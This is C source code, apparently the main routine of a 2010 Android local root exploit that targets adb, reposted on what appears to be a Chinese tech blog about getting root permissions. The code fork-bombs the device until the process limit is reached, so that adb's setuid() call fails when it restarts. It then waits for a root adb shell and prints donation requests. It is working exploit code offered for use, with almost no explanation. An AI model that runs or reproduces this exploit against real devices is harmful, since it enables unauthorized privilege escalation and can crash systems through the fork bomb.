        pid_t adb_pid = 0, p;

        int pids = 0, new_pids = 1;

        int pepe[2];

        char c = 0;

        struct rlimit rl;

 

        printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");

        printf("[*] checking NPROC limit ...\n");

 

        if (getrlimit(RLIMIT_NPROC, &rl) < 0)

               die("[-] getrlimit");

 

        if (rl.rlim_cur == RLIM_INFINITY) {

               printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");

               exit(1);

        }

 

        printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);

        printf("[*] Searching for adb ...\n");

 

        adb_pid = find_adb();

 

        if (!adb_pid)

               die("[-] Cannot find adb");

 

        printf("[+] Found adb as PID %d\n", adb_pid);

        printf("[*] Spawning children. Dont type anything and wait for reset!\n");

        printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"

               "[*] [email protected] so we can compensate time, effort and HW costs.\n"

               "[*] If you are a company and feel like you profit from our work,\n"

               "[*] we also accept donations > 1000 USD!\n");

        printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

 

        sleep(5);

 

        if (fork() > 0)

               exit(0);

 

        setsid();

        pipe(pepe);

 

        /* generate many (zombie) shell-user processes so restarting

         * adb's setuid() will fail.

         * The whole thing is a bit racy, since when we kill adb

         * there is one more process slot left which we need to

         * fill before adb reaches setuid(). Thats why we fork-bomb

         * in a seprate process.

         */

        if (fork() == 0) {

               close(pepe[0]);

               for (;;) {

                       if ((p = fork()) == 0) {

                               exit(0);

                       } else if (p < 0) {

                               if (new_pids) {

                                      printf("\n[+] Forked %d childs.\n", pids);

                                      new_pids = 0;

                                      write(pepe[1], &c, 1);

                                      close(pepe[1]);

                               }

                       } else {

                               ++pids;

                       }

               }

        }

 

        close(pepe[1]);

        read(pepe[0], &c, 1);

 

 

        restart_adb(adb_pid);

 

        if (fork() == 0) {

               fork();

               for (;;)

                       sleep(0x743C);

        }

 

        wait_for_root_adb(adb_pid);

        return 0;

}


你可能感兴趣的:(对Android系统权限的认识(包含如何获得root权限思路))